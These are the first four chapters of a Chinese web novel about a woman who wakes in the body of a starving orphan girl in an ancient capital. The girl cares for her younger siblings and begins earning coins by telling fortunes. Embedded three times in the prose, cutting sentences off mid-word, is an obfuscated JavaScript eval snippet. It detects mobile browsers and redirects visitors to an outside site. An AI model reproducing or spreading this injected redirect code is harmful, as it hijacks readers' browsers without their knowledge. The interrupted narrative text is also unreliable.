《古代市井经商养崽日常》 1. 第 1 章 春寒料峭，天蒙蒙亮。 盛都大安坊的一座破落院里，哭声凄凄，乌鸣阵阵。偶有几只不识时务的瓦雀飞到院中老树上歇停，还不及梳梳羽毛，便被那老鸹“哇”的一声驱了去。 倒座房的屋顶是漏了不知多久的。 晨时凝结的露水顺着破瓦片“滴答——” 落在房锦儿脸上，滑落时带下她腮间些许污泥，掉在她身下的薄草垫子上。 穿着灰布衣裳的老仵作摸摸胡须，叹了口气：“病成这样，冬天就该冻死了，拖到现在，已经是老天爷菩萨心肠。” 房家两个小的一人一边抱着房锦儿的腰，哭得上气不接下气，口中喃喃唤着“阿姐醒醒”、“阿姐回来”，听得令人唏嘘。 “真、真断气儿了？”吴家娘子有些骇然。 吴家娘子名唤薛湘，是第一个发现房锦儿倒在了房里头的。 摸鼻息她不敢，只好赶紧叫了自家官人来瞧。她家官人是街道司的捕快，什么风浪没见过，当即便叫来了仵作。 “老丁既这般说了，还能有假？要不你亲自去摸摸？” “我可不敢。”薛湘连忙躲到官人后头抹眼泪，“才十四的小女娘，可怜见的，搬来没几天，怎好就死了。” “要不说房家那两口子心狠呢，自家大哥的孩子，说不认就不认。天寒地冻的将人赶出来，却连件保暖衣裳都没有，教人怎么活？” 正是上工的时辰，院门敞着，往来的街坊邻居见房里围着人，便凑过来看。有知晓房家那档子事儿的，嘴角往下撇了撇。 众人顺着这话才发现，房锦儿躺在薄草上，身上只有件比纸还薄的粗布衣。 倒是两个小的穿得稍稍厚些，麻布拼麻布，一层摞一层，拿小腰带扎紧了裹在身上，一看那样式便知，是大姐撕了自己的旧衣，把活命的机会留给两个小的了。 “真是作孽，我听说房家那两口子还将浆洗的活计全数收了去，没给这仨娃留一点活路。” “可不是，那么丁点大的小女娘，也就能浣浣衣裳挣几个铜子，没了这营生，怎撑得下去。” “……” 屋顶的破瓦还在滴水，冰凉的珠子砸在脸上、手上，并着时高时低的哭泣声，房锦儿朦胧之中只觉意动，漏入耳中的交谈声逐渐放大，意识慢慢清醒了过来。 眼皮子仍是睁不开的，手脚也木得像四根冰锥。 她躺在草垫上静静地听，脑中思绪纷繁，想要开口说话的愿望由弱及强，又由强转淡，最终心情平复下来，终于厘清了缘由—— 她穿越了，从一个不愁吃喝的地产集团高层变成了被叔婶赶出家门的可怜人。 这身子的原主人也叫房锦儿，虚岁十四，爹娘是替人跑商道运货的骡夫。 去岁隆冬大雪，道曲路滑，两口子一不留神随着骡子栽下山崖，死在回城途中，留下她和下头的两个弟妹。 弟弟刚满七岁，小妹妹六岁未及。爹娘头七刚过，三人便被叔叔婶婶赶出了门。 房家本不是土生土长的盛都城人，是十年前，自二百里外的岐州迁来的佃户。 这朝国力强盛，早年间乱过一场，新天子荣登大宝之后，大赦天下，兴科举，改农桑，破天荒地恩准了庄宅农田之交易。农田一旦易售，很快便拢聚到了大户手中，大把的佃户无地可耕，又逢都城之中百业待兴，便举家进城讨生路，房家便是其中之一。 原身的阿爹是大哥，自然先带着娘子来探路。两口子力气都大，做起骡夫的营生赚到了钱，便将老父老母，二弟三妹一齐接进了城。 房家老二是个聪明的，进城时不过二十出头的年纪，不甘心像大哥那样一辈子做力气活，偷了大哥给老父老母攒的棺材本，开起一家替人浣衣裳的浆洗行。 老父老母起初不满，没成想这浆洗行的生意蒸蒸日上，甚至让全家老小住进了大安坊的独门小院，那点不满也就随之烟消云散了，老两口也对这二儿子愈发地刮目相看。 毕竟能在这盛都城里头买下座院儿，就算立下足了，那可是顶有面子的事儿。 而老大一家，虽说也在买院子这事上出了半数的钱，可夫妇两人常年不在城中，老父老母倚靠不上。 原身又是个小女娘，迟早是要嫁出去的，不如老二家两个孙儿靠得住。加上她生来体弱，不能和爹娘一同跑商路赚银子，只能倚仗二叔的浆洗房做些洗衣缝补的活计。 慢慢地，房老二一家便成了事实上的主心骨，老父老母眼中的孝顺儿，家中大小事务，皆由他两口子说了算。 盛都城里寸土寸金，房家的小院虽是独门独户，却也只是一进院。也就是买得早，加之大安坊是个偏僻地儿，这才能买了下来。若是放到现在，恐怕卖了那浆洗行也买不来一间屋。 然院子小的结果就是不够住。三代同堂，两房十几口人，哪里分得过来？ 房家老父老母住正房，西耳房打从三妹妹出嫁后充作库房，东耳房用作灶房，这都是不能改的。那算盘便只能打到老大一家头上。 如此，老大家五口本是住在光线较好的西厢房，便在前年要让原身到浆洗行帮工时，让老二一家拿捏着换了房，从西厢房换到了又阴又冷的倒座房。 为何不是换去东厢房？那是因为东厢房要给房老二的长子娶亲用。 说来也有趣，这房老二家同样是三个孩子，二男一女，却是长子十九，次子十七，连最小的女儿都比原身大一岁。 原因么，还是与房老二的“聪明”有关。尚在岐州做佃户时，不过十七岁的年纪就敢与同是佃户的夏家女儿在田间刁风弄月，十八岁时儿子呱呱落地，这才不得已将夏氏娶回了家。 与之相比，二十一娶妻、二十六才当爹的房家老大就显得木讷老实许多。故此，原身成了排行第四，房老大这做哥哥的成家比弟弟晚的事，也成了房家茶余饭后的一个笑话。 房老二的妻子夏氏，比他还要长两岁，是个胆子大、心思歪的。不说旁的，就说当年在田间发生那事儿，两人之中究竟是谁先不老实，恐怕只有夏氏心里最清楚。 盛都城中的房价与日俱增，房家这套小院儿，夏氏早就想全攥自个手中，奈何头上还有老父老母，不好施展。 可眼瞅着与大房换屋得了逞，老头老太从头到尾一声不吭，她便知道，这事儿稳了。 前年开春，房二长子娶亲，大吹大打地搬进了东厢房之后，夏氏便将目光投向了原身一家住的倒座房。 她先是想了个主意，说要把原身嫁出盛都城去，最好是嫁回岐州老家，如此便可劝说房老大夫妇跟着女儿回乡，把两个小的也带走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878582|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 可到底有顾忌。 一来原身前年才十二，说亲小了点，二来，还是惦记着老大家的钱。 骡夫这行当虽然又苦又累，但东家给钱是不少的，老大两口子又是出了名地能省会存，到时要全带走了，那可不划算。 房子也想要，钱也不舍得，夏氏一时想不出两全的法子，见天地把这事儿反复琢磨。直到老大两口子出了事儿，那点积蓄全落在老父老母手上，东家还额外给了点赔偿，这才终于让夏氏放开了手脚。 直接撵出去是不行的，会让街坊邻居戳脊梁骨。嫁人得给嫁妆，也不好。最好的法子，还是让原身自个带着两个小的离开。 夏氏把这想法跟房老二商量，房老二又聪明了。一拍脑袋，道，给她找个娶不到媳妇的糟老头子不就完了？ 不想嫁，那就自个带着弟妹离开，没什么好说的。若是想嫁，也行，那些个老头子想女娘想得紧，莫说不要嫁妆了，聘礼翻倍都愿意。要是街坊邻居说闲话，大可说是原身那小女娘不知检点，夜里偷跑出门让老醉汉糟蹋了，不得已才嫁过去。 两口子一拍即合，夏氏那叫一个高兴，把房老二夸上了天不说，当即便托人找到个外坊的老赌鬼，问原身愿不愿意嫁。 原身自然不愿，哭哭啼啼哀求几日无果，只好答应带着弟妹离家。房老二这个当叔的安慰了她几句，便亲自将三人送到了这间破落院中住下。 可不是，侄女儿大了有主意，不愿听家中安排嫁人，非要闹着自立门户，他们当叔婶的既不是爹也不是娘，能怎么办呢？给找了屋子，付了掠房钱，已是仁至义尽了。谁还能说他不是？ 然说是付了掠房钱，实际是只交了半月定钱。待到原身被自家的浆洗行赶出来，又被房东催着缴租钱，这才知道上了当了。 寒冬腊月，烧柴要钱，吃食要钱。 起初还好，原身还能将带出来的几件钗环拿去当了，勉强温饱，可随着时间过去，莫说首饰衣裳，就连吃饭用的陶盆木罐都当了个精光，亦不够裹腹。 两只小的饿得嗷嗷叫，原身也瘦得脱了相。除了缝洗衣服，她没别的本事，而怪就怪在，不论哪个坊里的浆洗行，似乎都不愿用她。 房锦儿穿来之前，原身又冷又饿，已经病了七八天了，高烧不下。 烧着烧着，人就凉了，待到再有意识，已经换成了她。 “吴爷，去喊她家里人，抬出去埋了罢，再摆着，天暖就该臭了。” 老仵作再次确认无误，拿布巾擦了手，准备收摊。吴家官人闻言转身驱散围观众人，房家两小儿哭得更惨了，死命抱住房锦儿身子，哑着嗓子一个劲地喊：“不要埋我阿姐，不要埋我阿姐。” 薛湘听得跟着落泪，心头不忍，望了望自家官人，对方朝她摇了摇头。 人死终究不能复生，薛湘忍着泪，上前拢住两个小儿，道：“阿姐走了，咱们让阿姐走罢。” “不要！”小些的女娃哭得满面通红，挣开薛湘的手，猛地朝房锦儿扑去。 这一扑，也不知是压在了哪儿，房锦儿忽觉被锁住的身躯陡然通畅，眼皮子轻浅欲张，冷不丁就真的睁开了眼，正好对上薛湘同情的目光。 “鬼啊！”薛湘被吓得一屁股坐在地上，仵作和吴家官人同时惊得转过了身。 2. 第 2 章 “怎么会死了呢。” 房家老太左氏，踉跄了一下，跌坐到堂屋正中的木椅上。房老汉脸黑如土，与她并排坐着，一双起了皱的老手合按在拐杖上，低头一言不发。 左氏拍拍两人中间隔的桌子：“你说句话！” 房老汉向来话少，拐杖跺了几跺地，还是只挤出长长一声低闷的鼻音。 左氏只好看向坐在下首的二儿子：“我说，稳康，咱家利哥儿的差事说得如何？会不会被这事儿搅了去？” 利哥儿就是房进利，房老二家的次子，眼瞅着快满十八了，也到了成家立业的时候。 他大哥房进名也是前年成的婚，成婚之后，房老二两口子便把浆洗行的生意交给他管着，只不过账本还留在手中，让名哥儿按月领掌柜的工钱。 可惜浆洗行就一家，名哥儿得了，利哥儿就得另谋差使。 偏生这利哥儿又不是个踏实的，念书不行，算账更不行，成天地跟着坊里那群帮闲瞎胡闹。靠他自个立足是断不可能了，房家人就想着，给他捐个公职，拿月奉度日，好过做生意赔个精光。 这朝新天子继业不过十来年，为着增收纳税，其实私底下是允许有钱的百姓捐些虚职的，只要不弄得人尽皆知就好。 可捐个七品下、八品上的奉议郎约要二十万贯，捐个九品下的从事也得万把贯。 房家虽赶在好时候开了铺，买了房，到底不是那顶富贵的，算来算去，真能拿出来运作的银钱也不过千几百贯。 房老二两口子愁得不行，四处求人打听，碰了几鼻子的灰。直到前几日，才终于寻到个愿意帮忙的，说只要能拿出一千贯，就能给利哥儿在街道司里谋个司副的职。 房二怕的也正是这个。 那房锦儿听说是活活冻死的，虽说两户已经分了家，可到底分开不久，且这死法实在难看，街曲邻居颇有微词，算不得什么体面事。若人家真信了那些闲言碎语，觉着房锦儿是被他们两口子坑死的，断了他们买官的路，也不是不可能。 他心中惶惶，道：“茂昌替我牵线，找的是他们药行行会的李大东家，李大东家的侄女儿上月刚出嫁，官人就是巡检司的孙司正。” “这巡检司和街道司是一母同胞的两兄弟，孙司正说能让利哥儿去街道司当司副，那就是能去当司副。坏就坏在，那一千贯钱还没给出去，要是锦儿的死讯进了孙司正的耳，还不知会不会就不收咱们的钱了！” 左氏急了，拍腿道：“哎哟诶，我就知锦儿这女娘八字不好，你大哥大嫂两口子已经倒了霉，可别让利哥儿跟着……” “呸呸呸，娘，说什么呢！咱们利哥儿福气硬着呢。”二儿媳夏氏端了三盏粗茶来。 夏氏生得是有几分窈窕，走路时裙摆左摇右曳，房老二就爱看她这股子媚样儿。 “我方才已经打发名哥儿上万字柜坊取交子去了，待他一回来，咱便给孙司正点几个好酒好菜，把交子悄摸压在里头一块儿送去，让他不得不收。只要他在得知锦儿的死讯之前收了钱，那他便无从推脱了。即便后头知道了，也只能硬着头皮给咱们办。” “我看行，素兰这个法子好。”左氏点头道。 房老二亦觉得不错，只不过他还有个顾虑。他站起身来踱了几步：“可我还是觉得蹊跷。你说，房锦儿怎就能冻死了呢？她分出去的时候，也是带了好些衣裳首饰的，银钱虽不多，可也足够撑到她找到活计的时候。” “是，咱们的浆洗行是不让她进了，那不是为了防着她惦记咱家的钱么！可她在咱们浆洗行里干了也有足两年，漂洗缝补的手艺也学得差不多了，盛都城里头浆洗行多了去了，她到哪家都算得上个现成伙计，怎会沦落到吃不上饭？” 房老二看着自家娘子，语调沉了沉：“就怕是利哥儿在外得罪了人，捐官的打算让人知道了，故意弄出这么档子事儿来陷害咱们。若是如此，恐怕孙司正那边早就得了信儿了。” 他本以为这话说出来，要吓着夏氏，不料夏氏眼神一闪躲，嗔怪道：“你别成日瞎想，利哥儿哪会得罪人。兴许就是那小女娘笨手笨脚的，人家不爱用罢了。要我说，咱就多余让她学手艺。” 夫妻十几年，房老二这下哪会看不出夏氏心里有鬼，他话锋突然一转，眯了眯眼睛：“这么说，房锦儿一直没找到活计的事儿，你不知道？” 夏氏一下就有些恼了，嗔道：“你看我做什么？我哪会知道。” 两人正僵持着，忽听院门响动，长子名哥儿急匆匆下了驴车跑过来，还未跑到正房便急不可耐叫道：“又活了！阿爹，阿娘，又活了！” 房老二两口子一愣，房老爷子和老太左氏也站起了身：“你慢些讲，什么活了？” 房进名咽了口唾沫：“房锦儿！房锦儿没死，又活过来了。” - 房锦儿勉强坐起来，背后倚着垫了几捧干草的砖墙。她太瘦了，砖墙硌得脊骨生疼。 两小儿的眼泪自打她醒来就没干过。五岁多的小妹妹锦云躺在她身旁，把身体钻到她胳膊底下，两只小手紧紧环住她的腰，替她暖着身子。 七岁的弟弟进逸跪在地上，手中捧着个豆渣窝头，跟前放了一小碗凉水，他小心翼翼地掰下一点儿，在水中浸一浸，待稍微软了，喂给房锦儿吃。 丁仵作交代他，阿姐刚醒，不能吃太硬，会再吃死了的。 房锦儿吃着尝不出味儿的豆渣窝头，目光顺着墙壁往前看。破瓦片滴下的水在墙根汪了拳头大的一小汪，被水泡过的地方，沿着墙缝长出了一溜杂草。 墙砖上头长了青苔。屋里没有桌椅，也没有床，除了她躺的这处，墙角还有一堆半人高的枯草，两个小的夜里就缩进草里睡。冻得实在睡不着时，姐弟三人就抱在一起，把草披在身上。 半敞着的屋门破了洞，门外的角落里有个灶台，但膛里没有柴。原本放在灶上头的陶锅也当了，放在锅旁的粗陶碗当得还剩最后一只，被进逸拿来盛了水。 就这样一间屋，每月要付三百文赁钱呢。房锦儿忽然想起，自打月初交了最后一笔赁金之后，姐弟三人就再没有吃过最便宜的豆渣窝头了。 她把视线收回来，见进逸还在认真地给她泡窝头。 她张了两次口才发出声音：“逸哥儿。” 房进逸这小哥儿，生得五官细巧，长长的眉毛，尖尖的翘鼻，他抬起头来看着阿姐，脸上的脏泥被泪水冲成一道一道的。 房锦儿指指窝头，弱声：“哪来的？” 小逸哥儿拿手背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吴家两口子在旁瞧着，薛湘起先怕得要死，后来见房锦儿能动、能听见说话，大着胆子摸了摸她脑门，是热的，身子后头也有影子，这才真觉着见了奇景儿了，信了。 关于这个，房锦儿也不知该怎么解释，只好道：“对不住老丈。” 老丁摆手道：“有甚么对不住的，亏得你小女娘福大命大，自个醒了过来，要不把你拖去埋了，我老头子可就罪过大喽。” 话说着，薛湘拎着冒热气儿的粗陶水罐，从对面的正房过来了。 她和吴顺租的是院儿里的正房和西厢房。吴顺在街道司衙门当巡捕，月奉三贯钱，精打细算着花才能不饿肚子。平日家里烧水，用的是做饭剩下的余温，并不舍得专门烧柴。为了这一陶罐的热水，她可是花了血本了。 薛湘走到院子中央，忽然想起什么，又赶紧拎着陶罐折返回去，包了一小撮粗盐，又从米缸中量出一升米。 缸中米剩得不多了，爹娘和儿子不在盛京，就他们夫妻二人，估摸着堪堪够。吴顺的月奉还要下月初才发，她这月都没接到什么绣活儿，眼下也没有余钱买…… 薛湘算了算，两个小的，加一个半大女娘，一升米，吃三日饱饭应当没问题。等吴顺的月奉发下来了，再给一些。 3. 第 3 章 有了吴家接济的米，房锦儿踏踏实实过了三天醒了就吃，吃了就睡的好日子，总算恢复得差不多。 浑身上下不疼了，走路也不打晃了，还能自个打上两桶井水拎回家。 她这个痊愈的速度，放在寻常人身上，那是断要惹人猜疑的，可放在死而复生过一回的房锦儿身上，就显得合理许多。 她拎着木桶穿过街，在街坊邻居的惊奇目光下进了一道小门，穿过自家屋子，出了大门，来到院儿里。小进逸和小锦云正在帮薛湘洗彩布，一左一右守着两个比人还大的木盆，逸哥儿放进水里洗一遍，小锦云再拿瓢舀水冲一遍。 “锦儿，你快别让他们弄这个，水太凉，我自个洗就行。”薛湘把洗好的彩布摊平了晾在竹竿上。 她昨日运气不错，从绣房接了个不小的活儿，绣五米的彩布，绣得好了，能给半贯钱，一个月的米钱就有了。 只是这院子忒小，两根竹竿南北一撑，彩布晾起来，人就只能前后着走。 “怕什么，吃了你的米和盐，还不给你干点儿活啊？” 房锦儿笑着过去，把新打来的两桶水倒进锦云那个木盆中。 薛湘道：“一升米而已，你倒弄得我不好意思了。先前你们过得那样苦，我们就住在隔壁，竟丝毫不知……” 那日给了米盐柴禾后，只要是见她在院里屋前忙活，甭管是做什么，房家两小只便跑过来帮手。一问，小锦云奶声奶气说是阿姐让来的，拿了粮食要付钱，付不起钱便做活计来抵，这是天经地义的事。 她拒绝过几回，拗不过，只好让他们帮。今日房锦儿也好了，便姐弟三人一齐来。 房锦儿学着帮薛湘摊布，道：“怪不得你和吴大哥，是我那时钻了牛角尖，非要硬撑，也不让逸哥儿和锦云与你们来往。死过一回，我也想明白了，天底下除了浆洗，有的是活计，我干什么不好？” 房、吴两家虽说住的是一个院子，可因着这是座侵街的搭院儿，正房和西厢房的门只朝院儿里开，那倒座房的房门却有两扇，一扇对着院里，另一扇小的直通坊外大街。姐弟仨每回都是小门进小门出，吴家夫妇自然见不到，更想不出姐弟三人会过成那样。 原身是个软弱拧巴的性子，可房锦儿不一样。 一时落魄并不是什么丢脸的事儿，为了面子活活冻死才是不值得。 留得青山在，还怕有翻不了的身？ 薛湘看她这个模样，很是欣慰，笑着道：“你想通便好。” 不止是吴家两口觉察到房锦儿的变化，逸哥儿和小锦云更是觉得阿姐简直换了个人。 从前阿姐总是哭，不爱出门，也不让他们出门，姐弟三人整日整日缩在家中。可自打醒来，阿姐不止话多了，爱笑了，还带着他们院里院外溜达，结识了好几个小娃娃。 从前阿姐绝不会拿别人给的吃食。粮食不够吃的时候，就分作几份，三个人加起来，一天只能吃一份，谁敢偷吃就狠狠打手心，打到手肿了为止。 现在阿姐也会盘算着吃，可没那么严格了，昨日锦云没吃够，阿姐就从那米袋子中又拨出好些，硬是给她专门煮了一小碗。 - 用过午食，房锦儿折起装米的小麻布袋子。袋子已经见底了，还剩最后一天的量，一小撮盐也差不多用光。 逸哥儿麻利收了陶碗拿去洗，小锦云去帮忙没帮上，只好又进屋里来。门口堆的柴禾用得还剩一小半，小锦云看看柴和灶，又看看阿姐手里的袋子，好似想问什么，但最终没出声。 “你忘啦，咱们还有一个胡饼。” 房锦儿指了指墙上。 薄草垫子靠着的那面墙上有块掉了的老青砖，一根草绳压在砖洞里，绳末坠着个深蓝的小包袱。 那包袱是房锦儿醒来那天的晌午，被人扔进院子里来的，待到逸哥儿跑去看时已经没了人影，并不晓得送包袱的是谁。 姐弟三人现在身上穿的衣裳就是从包袱里翻出来的，半新不旧，但至少像个样子。衣裳下头还压着一张不小的胡饼，闻着像是酥油馅儿。三人不舍得吃，想留到米没了再说，房锦儿怕遭耗子，就把它暂时放回包袱里，吊了起来。 “咱们晚食就吃它，明日再煮白米粥。” 连吃三天米粥，房锦儿也想换换口味。主要是吴家两口子过得也省，肉和菜总不好意思再收人家的，只收过一碗菘菜汤，三个人砸吧砸吧味儿也就没了。 听说要吃那胡饼，两个小的同时看了过来。 怎么能忘记呢，那可是好香好香的酥油胡饼，他们那天看见了，烤得金黄，一股子焦香，坐在屋里就能闻见味儿，馋了好几天了！ 锦云眼睛亮了亮，巴巴地看了看房锦儿，道：“阿姐当真？”可转头见她阿兄没出声儿，眼里那点星光又落了回去，觉得自个说错话了。 也是，那块胡饼说好要留到米没了才能吃的。以前她贪嘴，阿姐便会发怒哭道，吃吃吃，一回全吃完了，咱们姐弟三人好一齐撞死。那样子可凶可凶。 况且那张饼比两只手加起来还大，怎么可能一顿全吃完，真都吃了，以后吃什么？ 逸哥儿和锦云想的是一样的，但房锦儿明显从他眼里看出几分拒绝。 和活泼外向的妹妹不同，这逸哥儿是个尤其安静的性子，穿来这三日，房锦儿就几乎没听见过他说话，若不是有原身的记忆，几乎要以为他是个小哑巴。 这会忽然听他开口道：“阿姐，胡饼我和锦云不吃，我这几天吃太饱了，以后能少吃。米粥里再掺点水，还够多吃两日。” 他是真担忧以后吃什么！ 还有，看他那眼神，也怕房锦儿一怒之下打小锦云手心。 锦云一听这话，突然也反应过来了，站起身有些后怕地往她阿兄那边靠。 房锦儿看着心酸，这兄妹俩豆大一点儿，跟着阿姐搬出来后的这些日子是吃了多少苦头啊。明明以前爹娘还在的时候，也是不愁吃穿，被人捧在心尖尖上的娃娃。 人在词穷的时候便会转笑，房锦儿被他俩那担惊受怕的小样子气笑了，道：“过来，我不打人。” 小锦云没挪脚，逸哥儿也没动。 阿姐这话听着可没什么说服力。 房锦儿只好继续保证：“真不打，不仅不打，我还带你们出去逛商市去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878584|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真的？”没心眼的小锦云率先跨出了第一步，急得逸哥儿轻轻地“诶”了一声。 这是全然不信任她啊。 房锦儿真是又气又好笑，干脆拍拍手从薄草垫子上站起身，揪着领子把逸哥提溜了进来。 待到两人在面前站好，房锦儿围着兄妹俩转了两圈，又让把手伸出来，分别轻轻地拍了一下。小锦云起初眼睛一闭就要躲，逸哥儿倒是咬着牙没缩手，可没想到落下来的是温温柔柔的一触，这才终于不怕了，也不躲了。 房锦儿道：“看，我说不打人，是不是就真不打？” 兄妹俩点点头。 房锦儿又道：“那我说咱们晚食吃胡饼，为什么不相信？” 两个小豆丁面面相觑。 房锦儿这才终于耐心解释道：“从前阿姐苦着你们了，可你们看，阿姐也差点把自己害了，对不对？所以说呢，一味地省粮食是没用的，粮食总有吃完的一天，靠省，是省不出来的。胡饼咱们该吃就吃，吃饱了才有力气做后面的事，阿姐肯定不会让你们再饿着。” 锦云道：“咱们后面做什么？” “赚钱呀，阿姐带你们出去赚钱，然后用钱买更多的粮食。” 兄妹俩你看看我，我看看你。从前爹娘在的时候，家里是有人赚钱的。可自打跟着阿姐住到这里，两人听到最多的就成了“换钱”。 阿姐起初拿着衣裳首饰出去，后来拿着锅碗出去，回来的时候这些东西就都没了，换成了铜钱。 连他们都知道，那是拿去质库当掉了，阿姐什么时候真的赚过钱？ 房锦儿也晓得，就原身从前的所作所为，光说没用。她拍拍逸哥儿的肩膀：“去把咱们仨的旧衣服拿来换上。” 她穿来时三人身上的破旧衣服没扔，也没洗，换下来后就让逸哥儿塞进墙角摞的几块砖下头压着。压了几日，又蹭上去不少灰，颜色愈发脏了，还皱皱巴巴的。 逸哥儿摸不着头脑，但没多问，拿来麻溜就换了，换完又帮着小锦云系腰带。 房锦儿也换好了衣裳，粗麻的单衣裤，灰里带棕的颜色，衣摆上还被火燎破了几个洞。房锦儿再抹上墙灰，给三人的头发往乱处拨了拨，姐弟仨一下打回原样，比原先还不如，跟三个小乞丐似的。 小锦云道：“阿姐是不是要把新衣拿去换钱？”说着就要去叠那三件换下的新衣，熟练得让人心疼。 “非也。”房锦儿连忙止住她，“新衣拿什么也不换，咱留着穿。” 她取下装胡饼的包裹，把三件衣服好生包进去，挂回墙上，带着两小只就这么灰扑扑地出了门。 “阿姐说了要带你们去逛商市，那就是真带你们逛商市。” 这朝虽说还有坊制，可搭墙侵街已成了风气，街市也不再分得严，夜禁取消，买卖自由，不少人都将铺子开进了坊里。从破落院出来，向北沿着街走了一段，便有家不小的脚店，簇拥在一小片散摊之间，茶博士正拎着铫子给店前敞坐的客人倒茶。 房锦儿老远便竖起耳朵听，那茶博士说的是：“要我说，那房家赶出来的女娘，八字带着’驿马星’，是个逢凶化吉的命。” 4. 第 4 章 “逢凶化吉不假，听说死都死透了，突然又睁开了眼。” “啧啧啧，真够邪的，那’驿马星’又是什么东西？” “’驿马星’都不知道？驿马星者，变动之象也。马星入命，那是命数主变，不拘一隅，马星带吉，那就是遇难成祥，逢凶化吉！” 茶博士把长把儿的铫子高高一提，淡黄的茶汤稳稳落在大碗中。脚店卖的是粗茶，价钱便宜，加些许盐，底层百姓干活出汗多，喝这个有劲。 店前煮茶的大锅冒着热气，敞坐在木桌条凳上的客人与那茶博士聊得起劲，周围摊子上卖百货的听得起劲，还有五六个大约是附近人家的半大小儿，跟着在那茶锅旁边凑热闹。 房锦儿招呼了逸哥儿和小锦云，趁人不注意，出溜往那群小儿当中一挤。 脚店买茶送一把五香的盐水蚕豆，放在木桌边儿上，恰好跟房锦儿隔了那煮茶的锅，她伸手掏过来一把，递几颗给小锦云和小逸哥儿。 两人没干过这事，吓了一跳，眨巴着眼睛不敢拿。房锦儿也不好解释，干脆剥开一粒喂锦云口中，余的塞给逸哥儿，见逸哥儿仍是不肯拿，她又只好全数塞给锦云：“多久没吃过蚕豆了？又不多拿，等有钱了多买他几碗茶便是。” 说罢自个也剥了吃，边吃边听。 这茶博士像是个喜好推星测命的，脚店这地方向来又是最适合说长道短的地儿，一群人喝着茶听他胡咧咧，不到半碗茶的时间便把坊里的奇闻轶事算了个遍。 算到末了，又说回“被房家赶出来的小女娘”身上，一众看客还是对那大难不死的’驿马星’命感兴趣，茶博士对此也津津乐道。 可不是么，天底下能有几个死了又活的？ 房锦儿吃完了蚕豆，搓掉手上的残渣，心中讪讪有了盘算。 不就是胡说么，她前世能混成商界高层，靠的一大半就是张口便来的能力。 她瞅准个机会，插嘴道：“恐怕不只’驿马星’，依我看，那女娘贵禄中藏凶劫，还是个难得一见的’禄劫同宫’之命。加上’驿马星’，动则能生，生则能反，大难不死必会反噬加害之人。可惜那家姓房的不懂，谋人财、害人身，以后恐怕要祸人变成祸己，自食余殃喽。” 听得有人说话，茶博士转过身来，见是个破衣烂衫，瘦脱了相的小乞儿模样，眉飞色舞的表情一收，撇嘴道：“你也会算？你见过那房家的女娘？” 房锦儿拱拱手：“没见过，不才会算一点儿。” 茶博士拎铫子赶道：“去去去，一边儿去，休在这里瞎说。” 摊子上有人叫道：“你不也没见过那房家的小女娘么！” 众人哈哈大笑，间中有道：“就是，许你说不许人家说？”茶博士略显窘色，还待再赶，房锦儿道：“我是不是瞎说，且听我给你算一道，不就晓得了么。” 茶博士愣了愣，底下立即有人叫道：“算一个看看！算好了我给你打赏！” 这敢情好啊。 房锦儿欲上前两步，一抬脚，忽觉后头有东西拽着自己，转身见是满眼担忧的逸哥儿。一旁的小锦云也低声道：“阿姐……” 咱不会，还是走罢。 两小只是真的懵了，只听过阿姐会洗衣，会缝补，什么时候还听说阿姐会卜算了？ 到底是爱看热闹的人多，听说打赏，又围过来好些人，亦有附和者拿出了铜板。茶博士推拒已经晚了，谅她也算不出什么东西，只好道：“有本事你算。” 房锦儿轻轻拍了拍逸哥儿拉着她衣角的手，点头做了个口型：“放心。”逸哥儿只好松开。她上前围着茶博士转了两转，像模像样地瞧瞧天气，又掐着手指比划了几下。 “茶博士近来是否常感体寒？” 这是个什么算法？茶博士被问得一懵。 想了一想，近些日子清晨里被冻醒了好几回，上工的时候总不自觉挨着茶锅，离了那热气便觉浑身发凉，好像确有其事，便道：“是。” “那茶博士近来是否常经过狭窄、湿滑之地，偶有步履难安，晕头转向之感？” 茶博士犹豫了一下。要说狭窄湿滑之地，他不曾留意过，可脑中下意识却浮现些个地面积水、自个儿小心翼翼行走的画面，说不出是在哪。而要说晕头转向，他这几日还真是只要到了傍晚下工前，便觉得脑袋发蒙，腿脚也酸软。 只好道：“也是。” 房锦儿道：“那便是了，你这是踏破煞位，当有小灾。我算出你今日恐怕要当众跌跤。” 此话一出，摊上坐上立时哄笑成片。“我呸，”茶博士斥道，“你这小乞儿，休得瞎说咒我。”他说罢便要过来赶客，却忽听店里头有人唤他添茶，只得气咻咻拎着铫子往店中迈去。 哪知左脚将落右脚待抬，那脚底突然不听使唤似地，“噗嗤”一下连人带壶摔了出去，摔得那铜铫子叮咣一阵响。 “哎哟，奇了！”有人拍掌叫道。 “摔了摔了！真摔了！”又有人叫好。 这不是当众跌跤是什么，人群里一下炸开了花。 房锦儿只见一小道铜光闪来，伸手捉去，接住个包了浆的薄片儿铜钱，她“嘿嘿”一笑，双手合十摇着那铜子儿作了个揖，道：“谢这位赏。” “算的好嘿！” “还真让她说着了！” 